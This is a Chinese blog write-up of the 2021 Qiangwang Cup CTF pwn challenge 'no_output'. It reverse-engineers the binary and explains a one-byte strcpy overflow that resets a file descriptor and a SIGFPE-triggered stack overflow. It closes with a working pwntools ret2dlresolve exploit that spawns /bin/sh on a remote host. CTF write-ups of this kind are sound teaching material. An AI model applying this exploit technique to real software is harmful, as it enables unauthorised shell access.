

PWN题[强网先锋]no_output

原创

彬彬有礼am_03 于 2021-09-02 11:15:28 发布 55 收藏

分类专栏: [2021年第五届强网杯](#) 文章标签: [c语言](#) [c++](#) [c#](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/am_03/article/details/120029512

版权



[2021年第五届强网杯](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

知识点

strcpy(dest, src)

strcpy 函数用于将指定长度的字符串复制到字符数组里

语法形式为: char *strcpy(char *dest, const char *src, int n),

表示把src所指向的字符串里以src地址开始的前n个字节复制到dest所指的数组里, 并返回被复制后的dest。

strcpy: strcpy只用于字符串复制, 并且它不仅复制字符串内容之外, 还会复制字符串的结束符

例: strcpy (a, b) b为源字符串, a为复制b的字符串

read(unk_804C080, src, 0x10u):

unk_804C080的值被赋值为real_flag.txt里的内容

因为

```
result = open("real_flag.txt", 1);
```

```
unk_804C080 = result;
```

类型 **sighandler_t**, 表示指向返回值为void型 (参数为int型) 的函数 (的) 指针。它用来声明一个或多个函数指针。

sighandler_t sig1, sig2; 这个声明等价于下面的写法:

```
void (*sig1)(int), (*sig2)(int);
```

```
if (v1 )
```

```
{
```

```
signal(8, (__sighandler_t)sub_8049236);
```

```
v2[1] = v2[0] / (int)v1;
```

```
result = signal(8, 0);
```

```
}
```

C语言里的信号signal():

信号是程序执行过程中出现的异常情况。它可能是由程序里的错误造成的，例如引用内存里的一个非法地址；或者是由程序数据里的错误造成的，例如浮点数被0除；或者是由外部事件引发的，例如用户按了Ctrl+Break键。

signal()的原型为:

```
#include <signal.h>
```

```
void(*signal(int num, void(*func)(int)))(int);
```

这恐怕是你在C标准函数库里能见到的最复杂的说明了。如果你先定义一个typedef，理解起来就容易一些了。下面给出的sigHandler_t类型是指向一个程序的指针，该函数有一个int类型的参数，并且返回一个void类型:

```
typedef void(*sigHandler_t)(int);
```

```
sigHandler_t signal(int num, sigHandler_t func);
```

解题流程

首先先查看保护机制

在终端输入checksec ./test

```
RELRO      STACK CANARY NX      PIE      RPATH      RUNPATH      Symbols      FORTIFY Fortified      Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE      No RPATH No RUNPATH No Symbols No 0      2      ./test
```

IDA32位打开:

伪码:

main:

```
int __cdecl main()
{
    sub_8049424();
    return 0;
}
```

点击sub_8049424():

```
int sub_8049424()
{
    int result; // eax
    char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
    char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
    const char *v3; // [esp+5Ch] [ebp-Ch]

    sub_8049308();
    v3 = "tell me some thing";
    read(0, buf, 0x30u);
    v3 = "Tell me your name:\n";
    read(0, src, 0x20u);
    sub_80493EC(src);
    strcpy(dest, src);
    v3 = "now give you the flag\n";
    read(unk_804C080, src, 0x10u);
    result = sub_8049385(src, off_804C034);
    if ( !result )
        result = sub_8049269();
    return result;
}
```

0x30=48

0x20=32

0x10=16

下面查看main的子程序:

(1)

```
int sub_804930B()
{
    int result; // eax
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    result = open("real_flag.txt", 1);
    unk_804C080 = result;
    return result;
}
```

result = open("real_flag.txt", 1); 对real_flag.txt文件只读
result被赋值为从real_flag.txt文件的内容

(2)

sub_80493EC(src);

点开sub_80493EC():

```
Elf32_Dyn **__cdecl sub_80493EC(int a1)
{
    Elf32_Dyn **result; // eax
    int i; // [esp+Ch] [ebp-4h]

    result = &off_804C000;
    for ( i = 2; i <= 7; ++i )
    {
        result = (Elf32_Dyn **)(i + a1);
        *(_BYTE *)(i + a1) = i;
    }
    return result;
}
```

(3)

sub_8049385(src, off_804C034)

src为由read(unk_804C080, src, 0x10u)获取到的flag内容

因为read(unk_804C080, src, 0x10u)将unk_804C080值读取0x10字节到src里

点开sub_8049385()

```
int __cdecl sub_8049385(int a1, int a2)
{
    int i; // [esp+Ch] [ebp-4h]

    for ( i = 0; *(_BYTE *)(i + a1) && *(_BYTE *)(i + a2); ++i )
    {
        if ( *(_BYTE *)(i + a1) != *(_BYTE *)(i + a2) )
            return 1;
    }
    return 0;
}
```

(3)

if (!result)

result = sub_8049269();

点开sub_8049269()

```
__sighandler_t sub_8049269()
{
    __sighandler_t result; // eax
    void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
    int v2[2]; // [esp+4h] [ebp-14h] BYREF
    const char *v3; // [esp+Ch] [ebp-Ch]

    v3 = "give me the soul:";
    __isoc99_scanf("%d", v2);
    v3 = "give me the egg:";
    __isoc99_scanf("%d", &v1);
    result = v1;
    if ( v1 )
    {
        signal(8, (__sighandler_t)sub_8049236);
        v2[1] = v2[0] / (int)v1;
        result = signal(8, 0);
    }
    return result;
}
```

漏洞分析

```
int sub_8049424()
{
    int result; // eax
    char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
    char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
    const char *v3; // [esp+5Ch] [ebp-Ch]

    sub_804930B();
    v3 = "tell me some thing";
    read(0, buf, 0x30u);
    v3 = "Tell me your name:\n";
    read(0, src, 0x20u);
    sub_80493EC(src);
    strcpy(dest, src);
    v3 = "now give you the flag\n";
    read(unk_804C080, src, 0x10u);
    result = sub_8049385(src, off_804C034);
    if ( !result )
        result = sub_8049269();
    return result;
}
```

在这里，标准输入会跟打开的文件里面的字符串进行比较，比较成功才会进入下一步

```
.data:0804C028          ; V15 0070201
                align 10h
.data:0804C030          dd offset aYouSeeThis ; "you_see_this"
.data:0804C034 off_804C034 dd offset aHelloBoy ; DATA XREF: sub_8049424+A41r
.data:0804C034          _data                ends ; "hello_boy"
.data:0804C034
```

```
.rodata:0804A008 aYouSeeThis db 'you see this',0 ; DATA XREF: .data:0804C030+0
.rodata:0804A015 aHelloBoy db 'hello_boy',0 ; DATA XREF: .data:off_804C034+0
.rodata:0804A01F          align 10h
```

但是我们发现上面用了一个strcpy函数，strcpy存在单字节的溢出，这个函数会用'\x00'结尾，我们可以在上面让dest的后面一个字节为'\x00'，以覆盖fd，改为0后可以直接从stdin读入内容，从而通过strcmp的检测。

```
__sighandler_t sub_8049269()
{
    __sighandler_t result; // eax
    void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
    int v2[2]; // [esp+4h] [ebp-14h] BYREF
    const char *v3; // [esp+Ch] [ebp-Ch]

    v3 = "give me the soul:";
    __isoc99_scanf("%d", v2);
    v3 = "give me the egg:";
    __isoc99_scanf("%d", &v1);
    result = v1;
    if ( v1 )
    {
        signal(8, (__sighandler_t)sub_8049236);
        v2[1] = v2[0] / (int)v1;
        result = signal(8, 0);
    }
    return result;
}
CSDN @彬彬有礼am_03
```

绕过比较进入函数之后是一个signal，必须触发这个signal 8号信号才能进入最后的函数。

signal8是浮点例外。在发生致命的算术运算错误时发出。不仅包括浮点运算错误，还包括溢出及除数为0等其它所有的算术的错误。

解决方案

不能除0，就构造溢出。

需要触发算数异常SIGFPE，可以通过-0x80000000/-1触发，触发后可以直接执行一个栈溢出；由于程序里没有输出函数，无法leak函数，所以使用ret2dlresolve方法直接getshell

```
ssize_t sub_8049236()  
{  
    char buf[68]; // [esp+0h] [ebp-48h] BYREF  
    return read(0, buf, 0x100u);  
}
```

exp

```
from pwn import *  
from roputils import *  
import time  
  
rop = ROP('./test')  
#p = process('./test')  
p = remote("39.105.138.97",1234)  
context.log_level='debug'  
  
p.send(p32(0))  
sleep(1)  
p.send("a"*32)  
sleep(1)  
p.send('hello_boy')  
sleep(1)  
p.send(str(int(-2147483648)))  
sleep(1)  
p.send(str(int(-1)))  
sleep(1)  
  
offset = 77  
bss_base = rop.section('.bss')  
buf = rop.fill(offset)  
buf += rop.call('read', 0, bss_base, 100)  
buf += rop.dl_resolve_call(bss_base + 20, bss_base)  
p.send(buf)  
  
buf = rop.string('/bin/sh')  
buf += rop.fill(20, buf)  
buf += rop.dl_resolve_data(bss_base + 20, 'system')  
buf += rop.fill(100, buf)  
p.send(buf)  
  
p.interactive()
```

flag值为:qwb{n0_1nput_1s_great!!!}